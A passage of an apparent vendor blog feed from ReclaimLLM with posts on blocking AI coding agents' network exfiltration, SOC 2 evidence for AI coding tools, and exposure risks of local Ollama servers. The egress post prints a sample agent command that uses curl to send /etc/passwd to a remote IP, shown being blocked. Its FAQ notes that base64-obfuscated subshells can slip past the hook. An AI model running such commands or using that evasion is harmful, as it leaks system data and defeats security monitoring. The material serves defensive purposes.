<p>While AD-015 provides indispensable visibility, post-execution detection alone has a fundamental limitation: by the time an alert arrives in your inbox, an exfiltrated file is already in the attacker's hands.</p>
<p>To solve this, ReclaimLLM integrates <strong>Pre-Execution Egress Guard</strong> (<code>egress_guard.py</code>) directly into the native client hooks of Claude Code, Cursor, Antigravity, OpenAI Codex, and GitHub Copilot.</p>
<h3>How It Works:</h3>
<ol>
<li><strong>Zero Overhead for Local Development:</strong> When a developer runs tests, compiles code, or reads files, the hook recognizes local loopback traffic (<code>localhost</code>, <code>127.0.0.1</code>, <code>0.0.0.0</code>, <code>::1</code>) instantly. These calls proceed with zero network overhead.</li>
<li><strong>Pre-Tool Extraction:</strong> When an agent invokes a tool involving shell execution, scripts, or web fetching, the hook inspects the command string before the process is spawned, extracting destination hostnames, URLs, and IP addresses.</li>
<li><strong>Synchronous Policy Evaluation:</strong> Targets are checked against the organization's safe list and country firewall rules.</li>
<li><strong>Clean Tool Refusal:</strong> If a target is disallowed, the hook halts execution with an explicit deny verdict before a single packet leaves the laptop:</li>
</ol>
<pre><code># Attempted agent command:
$ curl -s https://59.110.117.233/collect -d @/etc/passwd

# Hook output delivered back to the agent:
[egress_guard] BLOCKED: Egress target 59.110.117.233 is disallowed 
(country CN blocked by organizational firewall policy).
Decision: deny
</code></pre>
<p>The agent receives structured context explaining that the outbound request was blocked by security policy, gracefully guiding it to alternative local approaches.</p>
<h2>Zero-Latency Offline GeoIP Engine (238 Countries in Memory)</h2>
<p>Enforcing country-level network boundaries (such as blocking connections to servers in China or Russia, or restricting agents exclusively to domestic cloud regions) traditionally requires querying external GeoIP web services.</p>
<p>Querying a third-party GeoIP API on every agent tool execution is unacceptable: it adds 100–300ms of latency to interactive coding turns, incurs recurring API costs, and leaks every host your developers visit to a third party.</p>
<p>ReclaimLLM solves this by embedding an <strong>offline, in-memory IPv4 and IPv6 country prefix engine</strong>:</p>
<ul>
<li><strong>Dataset:</strong> Precomputed, compressed binary CIDR prefix tables covering 238 ISO-2 countries (179,000 IPv4 ranges and 69,000 IPv6 ranges).</li>
<li><strong>Performance:</strong> Lookups execute via integer binary search in approximately 25 microseconds (~0.025ms).</li>
<li><strong>Three Firewall Modes:</strong><ul>
<li><code>off</code>: Country checks disabled (default).</li>
<li><code>blocklist</code>: Explicitly blocks traffic to configured countries (e.g., <code>CN, RU, KP, IR</code>) while allowing all others.</li>
<li><code>allowlist</code>: Restricts outbound agent connections strictly to approved jurisdictions (e.g., <code>US, CA, GB, DE</code>), denying all unlisted regions.</li>
</ul>
</li>
</ul>
<h2>Wildcard Safe Lists and the Hard SSRF Boundary</h2>
<p>Enterprise architectures rely on microservices, dynamic CDNs, and multi-region clusters. To eliminate configuration toil, ReclaimLLM's safe list engine supports comprehensive pattern matching:</p>
<ul>
<li><strong>Wildcard Globs:</strong> <code>*.example.com</code> matches the root domain and all nested subdomains (<code>api.example.com</code>, <code>auth.us-east.example.com</code>). Wildcards also support cross-TLD matching (<code>*.example.*</code>) and prefix patterns (<code>api-*.example.com</code>).</li>
<li><strong>Regular Expressions:</strong> Explicit syntax (<code>regex:^internal-[0-9]+\.corp$</code>, <code>/^app\.(internal|local)$/i</code>) accommodates complex naming schemes.</li>
<li><strong>CIDR Blocks &amp; Private Subnets:</strong> Standard CIDRs (<code>10.0.0.0/8</code>, <code>192.168.1.0/24</code>) match private development infrastructure.</li>
</ul>
<h3>The Unallowlistable SSRF Boundary</h3>
<p>Cloud metadata services represent an existential threat to cloud-hosted environments. To ensure defense integrity, cloud metadata endpoints:</p>
<ul>
<li><code>169.254.169.254</code> (AWS, Azure, GCP, OpenStack metadata)</li>
<li><code>169.254.170.2</code> (AWS ECS task metadata)</li>
<li><code>100.100.100.200</code> (Alibaba Cloud metadata)</li>
<li><code>metadata.google.internal</code> (GCP DNS metadata)</li>
</ul>
<p>are <strong>permanently unallowlistable</strong>. The policy normalization engine rejects any entry containing these endpoints, guaranteeing that metadata SSRF queries are unconditionally blocked.</p>
<h2>Comparing Egress Security Models</h2>
<table>
<thead>
<tr>
<th>Security Control</th>
<th>What It Does</th>
<th>What It Misses</th>
</tr>
</thead>
<tbody><tr>
<td>Corporate Forward Proxy / VPN</td>
<td>Inspects HTTP/HTTPS traffic on managed networks.</td>
<td>Bypassed when off-VPN; cannot correlate network packets to specific agent tool turns; easily disabled by local admins.</td>
</tr>
<tr>
<td>Host OS Firewalls (<code>iptables</code> / <code>pf</code>)</td>
<td>Blocks raw IP/port traffic at the operating system layer.</td>
<td>Requires root/sudo privileges; lacks agent tool context; high risk of breaking local Docker and dev stacks.</td>
</tr>
<tr>
<td>AD-015 Anomaly Detection</td>
<td>Deterministic post-session audit over tool records; flags uploads, recon, and metadata probing with zero-exfiltration evidence.</td>
<td>Reactive: alerts arrive after the command has already executed on the machine.</td>
</tr>
<tr>
<td>Pre-Execution Hook Egress Guard</td>
<td>Halts unauthorized outbound HTTP, file transfer, and script network calls synchronously before subprocess execution.</td>
<td>Does not inspect compiled C/Go binary network calls compiled and executed inside a subshell without CLI targets.</td>
</tr>
</tbody></table>
<h2>Configuring and Testing Policies in ReclaimLLM</h2>
<p>Egress firewall management is housed in a dedicated workspace under the Signals dashboard:</p>
<ol>
<li><strong>Open Egress Policy (AD-015):</strong> Organization administrators click <strong>Egress Policy (AD-015)</strong> in the Signals dashboard header.</li>
<li><strong>Define Safe Lists:</strong> Add approved subdomains, wildcard globs, or regexes (e.g. <code>*.github.com</code>, <code>*.npmjs.org</code>, <code>*.mycompany.internal</code>).</li>
<li><strong>Set Country Firewall:</strong> Choose <code>blocklist</code> or <code>allowlist</code> and select target ISO-2 country tags.</li>
<li><strong>Verify in Real Time:</strong> Use the <strong>Interactive Live Rule Tester</strong> to evaluate URLs or IPs against your active rules before saving. You can immediately see the resolved IP, country attribution, and policy verdict.</li>
</ol>
<p>To verify hook status on any developer workstation:</p>
<pre><code># Verify client hook registration and active policy snapshot:
rclm status
</code></pre>
<h2>Frequently Asked Questions</h2>
<h3>Does pre-execution egress checking slow down local builds or terminal commands?</h3>
<p>No. Standard file edits, reads, local unit tests, and commands targeting <code>localhost</code>, <code>127.0.0.1</code>, or <code>::1</code> are identified instantly and bypass network checks completely. External IP evaluations complete in microseconds.</p>
<h3>What happens if the developer's laptop loses internet connectivity?</h3>
<p>ReclaimLLM client hooks follow a fail-open design principle: if the backend policy check times out after 2.5 seconds or is unreachable, tool calls are allowed to proceed. This ensures developer productivity is never blocked during plane travel or network outages.</p>
<h3>How does this handle split-horizon DNS?</h3>
<p>If an internal service uses split-horizon DNS where internal hostnames resolve to private IPs internally but public IPs externally, simply add the internal domain wildcard (e.g., <code>*.corp.internal</code>) to the Safe List. Safe-listed targets bypass country IP checks entirely.</p>
<h3>Does this stop agents from accessing GitHub, npm, or PyPI?</h3>
<p>By default, standard engineering package registries and common development hubs are included in default templates. Administrators have full autonomy to add or remove domains from their organization's safe list.</p>
<h3>Can an agent bypass this by base64-encoding a command?</h3>
<p>ReclaimLLM combines pre-execution hook inspection with AD-015 post-session anomaly detection. While complex obfuscated subshells may obscure direct CLI argument parsing at the hook layer, AD-015 scans normalized execution records and execution traces post-turn, alerting security teams to anomalous payload encodings and unusual outbound socket connections.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/stopping-ai-agent-network-exfiltration-egress-firewall">https://reclaimllm.com/blogs/stopping-ai-agent-network-exfiltration-egress-firewall</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[SOC 2 evidence for AI coding tools: what auditors ask and how to export it]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Seven auditor questions about Claude Code, Cursor, Copilot, and other agents—mapped to control health…]]></description><link>https://reclaimllm-blog.hashnode.dev/soc-2-evidence-for-ai-coding-tools-what-auditors-ask-and-how-to-export-it</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/soc-2-evidence-for-ai-coding-tools-what-auditors-ask-and-how-to-export-it</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 14:00:27 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/soc-2-evidence-ai-coding-tools">https://reclaimllm.com/blogs/soc-2-evidence-ai-coding-tools</a></p>
</blockquote>
<p>Seven auditor questions about Claude Code, Cursor, Copilot, and other agents—mapped to control health, populations, exceptions, and SHA-256 evidence packs.</p>
<h2>Executive summary</h2>
<ul>
<li>Maps seven auditor questions to evidence ReclaimLLM’s Compliance tab produces (control health, populations/exceptions, evidence pack with SHA-256 manifest).</li>
<li>Scoped as “helps gather evidence,” not “makes you compliant.” ReclaimLLM’s SOC 2 Type II is targeted for early 2027—not yet certified.</li>
<li>Control health snapshots run once per org-local day via an hourly poll—not a fixed 02:00 schedule.</li>
<li>Screenshots: Control health, Access reviews, Exceptions, Evidence &amp; exports, Compliance settings, SIEM webhook, and Audit filters.</li>
</ul>
<p>Auditors reviewing a SOC 2 Type II period increasingly ask how you control <strong>AI coding tools</strong>—Claude Code, Cursor, GitHub Copilot, Codex, and the long tail of CLI agents—not just SaaS logins. They want the same evidence you would show for any system that reads production code, touches secrets, and calls external services: an approved tool list, access reviews, monitoring, retention, and exports a reviewer can verify without reading every prompt.</p>
<p>This post maps <strong>seven common auditor questions</strong> to concrete artifacts. ReclaimLLM’s Compliance tab helps <strong>gather</strong> that evidence for your audit; it does <strong>not</strong> make your company SOC 2 compliant by itself, and ReclaimLLM’s own SOC 2 Type II is <strong>targeted for early 2027</strong>—<strong>not yet certified</strong>. Ask your auditor which Trust Services Criteria and sampling approach apply to your engagement; this is operational guidance, not legal or audit advice.</p>
<p>For regulatory context beyond SOC 2, see AI coding compliance and regulatory risks. For discovering unapproved tools before the audit, see Shadow AI coding tools: a CISO checklist.</p>
<h2>Why AI coding tools show up in SOC 2 now</h2>
<p>Coding agents blur the line between “developer laptop” and “production system.” They read <code>.env</code> files, run shell commands, install MCP servers, and send HTTPS traffic to model providers. The AICPA’s SOC 2 program still evaluates familiar Trust Services Criteria—security, availability, confidentiality—but the <strong>population</strong> now includes agent sessions, hook coverage, and gateway keys. AICPA has also published notice of proposed 2027 Trust Services Criteria updates (October 2026); standards evolve, so tie controls to what your auditor accepts this period.</p>
<h2>Seven questions auditors ask—and evidence that answers them</h2>
<h3>1. Which AI coding tools are approved, and how do you know others are not in use?</h3>
<p><strong>What they want:</strong> A defined standard, plus proof of adherence—not a policy PDF alone.</p>
<p><strong>Evidence to prepare:</strong></p>
<ul>
<li>Written standard listing approved agents, IDE plugins, and gateway providers.</li>
<li><strong>Coverage signals</strong> showing which tools have ReclaimLLM hooks installed and checking in (coverage alerts).</li>
<li>Admin <strong>Coverage</strong> views correlating device check-in with hook integrity.</li>
</ul>
<p>Pair ReclaimLLM coverage with periodic discovery (EDR, DNS, or interview-based shadow-AI reviews from the shadow AI checklist).</p>
<h3>2. How do you stop secrets and sensitive data reaching AI tools?</h3>
<p><strong>What they want:</strong> Preventive controls at the prompt and tool boundary, plus proof they ran.</p>
<p><strong>Evidence to prepare:</strong></p>
<ul>
<li>Hook DLP configuration and <strong>file access events</strong> showing sensitive reads were blocked or redacted.</li>
<li>Compliance control <strong>RC-AI-02</strong> (sensitive reads and redaction gaps)—population rows reference session IDs and paths, not full prompt bodies.</li>
<li><strong>Local redaction</strong> settings for uploads.</li>
</ul>
<p>Link technical depth to AI DLP without MDM—coverage is <strong>detection</strong>, not tamper-proof MDM.</p>
<h3>3. Who has access to AI credentials and keys, and when was it last reviewed?</h3>
<p><strong>What they want:</strong> Periodic access reviews with attestation, comparable to SaaS admin reviews.</p>
<p><strong>Evidence to prepare:</strong></p>
<ul>
<li><strong>Access review campaigns</strong> in the enterprise dashboard covering gateway keys, org API keys, and members—with decisions such as keep, revoke, modify, or rotate.</li>
<li>Campaign reports with <strong>SHA-256</strong> attestation hashes your auditor can reconcile.</li>
<li>Compliance control <strong>RC-AI-07</strong> tied to review freshness.</li>
</ul>
<p>Screenshot API key inventory with masked values (audit log docs).</p>
<h3>4. How do you detect misuse or anomalous behavior?</h3>
<p><strong>What they want:</strong> Monitoring that produces actionable records, not only silent blocking.</p>
<p><strong>Evidence to prepare:</strong></p>
<ul>
<li><strong>Signals</strong> and anomaly reports (AD-004 P0 email alerts).</li>
<li><strong>AD-015 external network egress detector</strong> where your tool is in scope.</li>
<li><strong>Project-scoped file lineage</strong> for “what files did this session touch?”</li>
</ul>
<p>Deep dives: AD-004 secret exfiltration and anomalies with evidence.</p>
<h3>5. What happens when a control fails?</h3>
<p><strong>What they want:</strong> An exceptions register and remediation workflow—not a green dashboard with no follow-up.</p>
<p><strong>Evidence to prepare:</strong></p>
<ul>
<li>Compliance <strong>exceptions</strong> tab with owner, status, and dates.</li>
<li>Off-cycle campaigns after shared-key exposure or hook removal.</li>
<li>RC-AI population rows marked as exceptions (for example a “DLP gap” on a <code>.env</code> read).</li>
</ul>
<h3>6. How long do you keep logs, and are exports tamper-evident?</h3>
<p><strong>What they want:</strong> Retention within policy and integrity checks on exports.</p>
<p><strong>Evidence to prepare:</strong></p>
<ul>
<li>Admin <strong>audit log</strong> with <strong>365-day retention</strong> and CSV export (docs).</li>
<li><strong>Evidence packs</strong> from Compliance → Evidence &amp; exports: CSV bundles plus a <strong>SHA-256 manifest</strong> (<code>manifest.csv</code> listing per-file hashes and a top-level export hash).</li>
<li>Session export via presigned URL when you need a bounded session artifact (session export news).</li>
</ul>
<p>Do <strong>not</strong> send auditors full prompt transcripts unless they explicitly require them and your legal team approves—population metadata is usually enough for sampling.</p>
<h3>7. Do logs flow to your SIEM?</h3>
<p><strong>What they want:</strong> Centralized monitoring aligned with your SOC workflow.</p>
<p><strong>Evidence to prepare:</strong></p>
<ul>
<li>SIEM webhook configuration (SIEM docs).</li>
<li>Schema version <strong>1.0</strong>, <strong>at-least-once</strong> delivery, <strong>no prompt or message bodies</strong> in the webhook payload.</li>
<li>Sample redacted events and your parser mapping.</li>
</ul>
<p>Be precise: ReclaimLLM does not claim SIEM replay or guaranteed delivery to private networks without TLS endpoints your security team approves. Redirects and private-network destinations are rejected.</p>
<h2>Populations and exceptions: how sampling works</h2>
<p>SOC 2 auditors often sample from a <strong>population</strong> tied to a control. ReclaimLLM’s Compliance tab evaluates controls such as <strong>RC-AI-01</strong>, <strong>RC-AI-02</strong>, and <strong>RC-AI-03</strong> (and additional RC-AI controls in the catalog) with statuses <strong>pass</strong>, <strong>fail</strong>, <strong>warn</strong>, or <strong>n/a</strong>, plus <strong>population_count</strong> and <strong>exception_count</strong> on each evaluation.</p>
<p><strong>Snapshot cadence:</strong> Control health snapshots are computed <strong>once per org-local calendar day</strong>. A background job polls hourly; when the org’s local timezone crosses midnight, it writes the <strong>prior</strong> local day’s snapshot. There is <strong>no fixed clock time</strong> (for example 02:00)—say “daily snapshots” rather than a nightly batch at a specific hour. Default org timezone is America/Toronto unless configured otherwise.</p>
<p>Population entries reference session IDs, file paths, or device facts—<strong>not</strong> full session content—so you can hand an auditor a row list and drill into only the sampled sessions.</p>
<p><strong>Worked example (RC-AI-02):</strong> A population row might show a session ID, a path such as <code>.env</code>, and an exception reason like “DLP gap” when a sensitive read occurred without a matching redaction event. Your auditor selects n sessions from that population; you export the evidence pack for the period and attach session exports only for the sample.</p>
<p>Full tab reference: Compliance admin docs and enterprise Compliance dashboard.</p>
<h2>Building the evidence pack</h2>
<p>From <strong>Evidence &amp; exports</strong>:</p>
<ol>
<li>Choose the audit period (aligned with your Type II window).</li>
<li>Export CSVs for controls, populations, exceptions, and related audit events.</li>
<li>Download the bundle manifest with <strong>SHA-256</strong> hashes.</li>
</ol>
<p>Compliance retention defaults to <strong>max(org retention, 400 days)</strong>; lowering below 400 days warns on control health and evidence packs:</p>
<p><strong>Send the auditor:</strong></p>
<ul>
<li>The manifest and CSVs.</li>
<li>Your written control narratives (ReclaimLLM does not replace your system description).</li>
<li>Vendor-native logs where required (see below).</li>
</ul>
<p><strong>Keep out of the zip unless requested:</strong></p>
<ul>
<li>Raw prompts, chat bodies, or customer PII unrelated to the sample.</li>
</ul>
<h2>Vendor-native logs to add</h2>
<p>ReclaimLLM is not the only log source auditors expect:</p>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Typical enterprise evidence</th>
</tr>
</thead>
<tbody><tr>
<td>GitHub Copilot</td>
<td>Enterprise audit log events for Copilot-related activity</td>
</tr>
<tr>
<td>Claude Code</td>
<td>Managed settings deployment proof plus Anthropic admin or console logs where your contract includes them</td>
</tr>
<tr>
<td>Cursor</td>
<td>Cursor Team/Enterprise admin audit features—verify current SKU docs before audit season</td>
</tr>
</tbody></table>
<p>ReclaimLLM fills gaps <strong>across</strong> agents (hooks, file access, sessions); vendor logs prove <strong>their</strong> admin actions and entitlements.</p>
<h2>What ReclaimLLM is—and is not</h2>
<p>ReclaimLLM helps your team collect and export evidence about AI coding tool usage: control evaluations, populations, exceptions, access reviews, audit logs, and SIEM-friendly events. It does <strong>not</strong>:</p>
<ul>
<li>Certify your organization as SOC 2 compliant.</li>
<li>Replace your auditor’s judgment or TSC mapping sign-off.</li>
<li>Guarantee every developer machine is in scope without coverage monitoring.</li>
</ul>
<p>Developers do <strong>not</strong> see the Compliance tab—plan who owns exports (security, GRC, or platform engineering).</p>
<p>ReclaimLLM hosts customer data in <strong>US and EU</strong> regions. ReclaimLLM’s <strong>SOC 2 Type II is targeted for early 2027</strong> and is <strong>not yet certified</strong>.</p>
<h2>Pre-audit checklist (copyable)</h2>
<table>
<thead>
<tr>
<th>#</th>
<th>Task</th>
<th>Owner</th>
<th>Done?</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>Written AI coding tool standard approved</td>
<td>Security</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>Hooks installed; Coverage tab reviewed</td>
<td>Platform</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>RC-AI controls green or exceptions documented</td>
<td>GRC</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>Access review campaign completed (keys + members)</td>
<td>IT</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>Audit log retention confirmed (365 days)</td>
<td>GRC</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>Evidence pack exported with SHA-256 manifest</td>
<td>GRC</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SIEM webhook tested (schema 1.0)</td>
<td>SecOps</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>Vendor Copilot/Claude/Cursor logs attached</td>
<td>IT</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>Legal sign-off on what leaves the boundary</td>
<td>Legal</td>
<td></td>
</tr>
</tbody></table>
<p>Next step: Export your AI coding evidence pack—book a demo. Read the Compliance documentation for tab-by-tab detail.</p>
<h2>FAQ</h2>
<h3>Do SOC 2 auditors ask about AI coding tools?</h3>
<p>Increasingly yes—especially when developers use agents that read repositories and run commands. Expect questions on approval, data handling, access reviews, and monitoring.</p>
<h3>What evidence shows AI coding tools are controlled?</h3>
<p>A control list, populations per control, an exceptions register, hook coverage proof, access review attestations, audit logs with retention, and hash-verified exports. ReclaimLLM’s Compliance tab produces several of these artifacts; your policies and vendor logs complete the picture.</p>
<h3>Do we need audit logs for Claude Code or Copilot?</h3>
<p>Often yes for enterprise engagements covering those products. Pair vendor audit logs with cross-tool session and file-access evidence from ReclaimLLM so sampling is coherent.</p>
<h3>How do access reviews apply to AI API keys?</h3>
<p>Treat gateway keys, org API keys, and membership like other privileged credentials: periodic campaigns with keep/revoke/modify/rotate decisions and an attested report hash.</p>
<h3>Is ReclaimLLM SOC 2 certified?</h3>
<p>Not yet. ReclaimLLM’s SOC 2 Type II is <strong>targeted for early 2027</strong>. Using ReclaimLLM does not transfer certification to your organization.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/soc-2-evidence-ai-coding-tools">https://reclaimllm.com/blogs/soc-2-evidence-ai-coding-tools</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Do local LLMs stop coding data leakage? What running Ollama does and doesn't protect]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Local inference cuts third-party API risk when binding and cloud settings are right—but coding agents…]]></description><link>https://reclaimllm-blog.hashnode.dev/do-local-llms-stop-coding-data-leakage-what-running-ollama-does-and-doesn-t-protect</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/do-local-llms-stop-coding-data-leakage-what-running-ollama-does-and-doesn-t-protect</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 13:57:37 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/local-llms-coding-data-leakage">https://reclaimllm.com/blogs/local-llms-coding-data-leakage</a></p>
</blockquote>
<p>Local inference cuts third-party API risk when binding and cloud settings are right—but coding agents still read secrets, run curl, and expose misconfigured servers.</p>
<h2>Executive summary</h2>
<ul>
<li>Local inference removes one leak path (third-party model API) but not agent risks (file reads, shell egress, MCP)—and can add exposed servers and cloud-model fallbacks.</li>
<li>Ollama binds <code>127.0.0.1:11434</code> by default; <code>OLLAMA_HOST=0.0.0.0</code> exposes it, and Ollama has no built-in API auth.</li>
<li>Cost shifts, it doesn’t vanish: local models trade API token bills for GPUs, power, and ops—benchmark quality and token volume on real workloads before you switch.</li>
<li>ReclaimLLM’s gateway includes a <strong>Local (LiteLLM)</strong> provider with a configurable <code>base_url</code> (OpenAI-compatible, including self-hosted Ollama)—not a branded Ollama integration.</li>
<li>Censys and Cisco published separate exposure studies (Sep 2025); attribute each figure to its own source—don’t average them.</li>
</ul>
<p>Running a model locally keeps prompts off a third-party inference API <strong>only when</strong> inference actually stays on your machine, the server is not exposed to the network, and you have not enabled cloud-backed models. A local weights file does not stop a coding agent from reading <code>.env</code>, running <code>curl</code>, or calling MCP servers. For many teams, “just run Ollama” fixes one leak path and ignores the rest.</p>
<p>This article explains what local inference protects, where Ollama and similar servers go wrong in production, and how that compares to centralizing models through an enterprise gateway—including ReclaimLLM’s Local (LiteLLM) provider, which points at any OpenAI-compatible <code>base_url</code>, not a branded Ollama integration.</p>
<h2>What local inference does protect</h2>
<p>When prompts and completions never leave your network boundary to a public model API, you reduce:</p>
<ul>
<li><strong>Provider retention and training risk</strong> for that inference path.</li>
<li><strong>Cross-border transfer</strong> to US hyperscaler inference regions (subject to your architecture actually staying local).</li>
</ul>
<p>That matters for Canadian and EU teams evaluating US cloud providers. It is <strong>not</strong> a substitute for classifying what developers paste into prompts, securing agent tool access, or logging who used which model on which repo.</p>
<h2>Three ways “local” is not local</h2>
<h3>Network binding</h3>
<p>Ollama’s FAQ states it binds <code>127.0.0.1</code> port <code>11434</code> by default. Changing <code>OLLAMA_HOST</code>—for example to <code>0.0.0.0:11434</code> so teammates on a LAN can connect—<strong>exposes the API</strong> unless you add firewall rules and authentication yourself. Ollama does not ship a built-in auth layer for the HTTP API; exposed instances rely on reverse proxies, VPNs, or network ACLs.</p>
<p>Before you promote “local LLM” in a security review, grep your runbooks for <code>OLLAMA_HOST</code> and confirm bind addresses on every host.</p>
<h3>Exposed servers in the wild</h3>
<p>Internet-wide scans find many misconfigured inference endpoints. Use each source’s own methodology and date—do not merge unrelated totals.</p>
<table>
<thead>
<tr>
<th>Source</th>
<th>Date</th>
<th>Finding (summary)</th>
</tr>
</thead>
<tbody><tr>
<td>Censys research</td>
<td>24 Sep 2025</td>
<td>~10.6K high-confidence Ollama instances exposed; ~1.5K responded to probing prompts; &gt;25% on non-default ports</td>
</tr>
<tr>
<td>Cisco Shodan case study</td>
<td>1 Sep 2025</td>
<td>1,139 exposed Ollama servers in Shodan; 214 (~18.8%) actively hosting live models; 88.89% exposing OpenAI-compatible API schemas; top countries US 36.6%, China 22.5%, Germany 8.9%</td>
</tr>
</tbody></table>
<p>Different scan methods produce different counts. Treat them as <strong>order-of-magnitude warnings</strong>, not as your exact external risk score.</p>
<p>If you operate a shared Ollama host, run periodic port scans from outside your VPC the same way you would for any admin API. A model weights tarball on disk does not help if the HTTP API is reachable from the internet without auth.</p>
<h3>Cloud models inside Ollama</h3>
<p>Ollama can route some workloads to <strong>cloud models</strong>. Ollama’s documentation states that for those features it processes prompts and responses to provide the service, does not store or log that content for training, and does not train on it—but prompts <strong>do leave the machine</strong> for that path.</p>
<p>Disable cloud features when you need strictly local inference:</p>
<ul>
<li>Set <code>"disable_ollama_cloud": true</code> in <code>~/.ollama/server.json</code>, or</li>
<li>Export <code>OLLAMA_NO_CLOUD=1</code></li>
</ul>
<p>Disabling cloud models also removes Ollama’s web search feature tied to that stack—plan alternative search policy for agents that relied on it. Verify wording in the current Ollama FAQ before audit season.</p>
<h2>Agent risks do not change with a local model</h2>
<p>A coding agent—Cursor, Claude Code, Codex, Copilot, or a custom CLI—still:</p>
<ul>
<li><strong>Reads files</strong> anywhere its tools allow.</li>
<li><strong>Runs shell commands</strong> that print secrets or pipe data outbound.</li>
<li><strong>Calls MCP servers</strong> with their own credentials and network access.</li>
</ul>
<p>Local weights do not rewrite those tool policies. For the four leak paths and four control layers, see What is AI DLP?. For network exfiltration specifically, see Stopping AI agent network exfiltration.</p>
<p>Local model + agent with no hooks repeats the same read/print/send triangle—only the “send to OpenAI/Anthropic/Google inference” leg might be gone.</p>
<p>OWASP’s Top 10 for LLM Applications still applies: sensitive disclosure and excessive agency are agent problems, not cloud-only problems.</p>
<h2>Team options: local laptops vs shared servers vs gateway</h2>
<p><img src="https://reclaimllm.com/images/screenshots/admin/12-api-keys.png" alt="Gateway provider credentials — include Local (LiteLLM) with a configurable base URL" /></p>
<p><img src="https://reclaimllm.com/images/screenshots/admin/06-compare.png" alt="Model comparison on real workloads" /></p>
<table>
<thead>
<tr>
<th>Option</th>
<th>Keeps prompts in-house</th>
<th>Central control</th>
<th>Notes</th>
</tr>
</thead>
<tbody><tr>
<td>Each developer runs Ollama on localhost</td>
<td>Yes, if bound locally and cloud off</td>
<td>Low</td>
<td>Config drift; hard to audit</td>
</tr>
<tr>
<td>Shared internal model server</td>
<td>Yes, on your network</td>
<td>Medium</td>
<td>Requires auth, TLS, ACLs, patching</td>
</tr>
<tr>
<td>Enterprise LLM gateway with cloud providers</td>
<td>No for provider inference</td>
<td>High</td>
<td>Keys and policy server-side</td>
</tr>
<tr>
<td>Enterprise LLM gateway with Local (LiteLLM) provider</td>
<td>Depends on where <code>base_url</code> points</td>
<td>High</td>
<td>Generic OpenAI-compatible endpoint</td>
</tr>
</tbody></table>
<h3>ReclaimLLM gateway and local endpoints</h3>
<p>ReclaimLLM’s enterprise LLM gateway supports named cloud providers and a built-in <code>local</code> provider shown in admin as <strong>Local (LiteLLM)</strong>. Org admins add it like other providers but set a required <code>base_url</code> (API key can be a placeholder when the endpoint does not need one). That shape fits any <strong>OpenAI-compatible</strong> server—including an internal Ollama instance serving <code>/v1</code>—without a dedicated Ollama SKU or auto-discovery.</p>
<p>Important distinctions:</p>
<ul>
<li>Pointing <code>base_url</code> at <code>http://127.0.0.1:11434</code> on <strong>one developer laptop</strong> centralizes policy in the gateway UI but <strong>does not</strong> make that laptop’s Ollama team-wide infrastructure.</li>
<li><strong>Prompts stay in-house only if</strong> the endpoint is actually internal to your network (VPC, on-prem, or zero-trust mesh)—not an accidentally public <code>0.0.0.0</code> bind.</li>
</ul>
<p>The <strong>local ReclaimLLM proxy</strong> on <code>localhost:9800</code> is a separate component (capture and hooks on the machine). Do not conflate it with gateway routing.</p>
<h3>Cost: local is not free</h3>
<p>Security reviews often stop at “no third-party API bill.” Finance still cares about <strong>where the money went</strong>. Self-hosted coding models move spend from metered tokens to <strong>GPUs (or cloud GPU hours), electricity, model ops, and slower iteration</strong> when quality drops and developers retry. That can be the right trade for residency or egress policy—just don’t treat it as a pure savings story without measuring:</p>
<ul>
<li><strong>Quality vs your cloud baseline</strong> on the same repos and task types (not a leaderboard score alone).</li>
<li><strong>Token and wall-clock volume</strong> of agent sessions—local weights don’t shrink context windows or tool loops by themselves.</li>
<li><strong>Total cost of ownership</strong> (hardware amortization + downtime + who patches the inference stack) against the API spend you actually cut.</li>
</ul>
<p>For model selection before you switch workloads, ReclaimLLM’s RCLM bench for local coding models and compare models on real workloads help evaluation—they are not security guarantees, and they are not a promise that local will cost less.</p>
<h3>Layer controls regardless of model location</h3>
<p>Security questionnaires sometimes ask “Is customer code sent to external LLM providers?” Local Ollama lets you answer “not for inference” <strong>only after</strong> you verify cloud models are off, agents are not dual-homed to a cloud IDE, and no developer still pastes into ChatGPT for “second opinions.” Document that boundary in your AI acceptable-use standard.</p>
<p>Whether inference is local or cloud, ship:</p>
<ul>
<li><strong>Pre-tool hooks</strong> with env DLP and an egress guard on shell and fetch patterns.</li>
<li><strong>Coverage monitoring</strong> so missing hooks are visible.</li>
<li><strong>Session capture</strong> to prove what was read during an incident.</li>
</ul>
<p>ReclaimLLM data residency for hosted product data is <strong>US and EU</strong>. SOC 2 Type II is <strong>targeted for early 2027</strong>—not yet certified.</p>
<h2>Checklist: local models plus coding agents</h2>
<table>
<thead>
<tr>
<th>#</th>
<th>Control</th>
<th>Notes</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>Bind Ollama to localhost unless a shared server is intentional</td>
<td>Check <code>OLLAMA_HOST</code></td>
</tr>
<tr>
<td>2</td>
<td>Disable Ollama cloud if policy requires on-prem inference</td>
<td><code>OLLAMA_NO_CLOUD=1</code> or server.json</td>
</tr>
<tr>
<td>3</td>
<td>Firewall port 11434 on shared hosts</td>
<td>Block inbound from internet</td>
</tr>
<tr>
<td>4</td>
<td>Auth in front of any non-localhost endpoint</td>
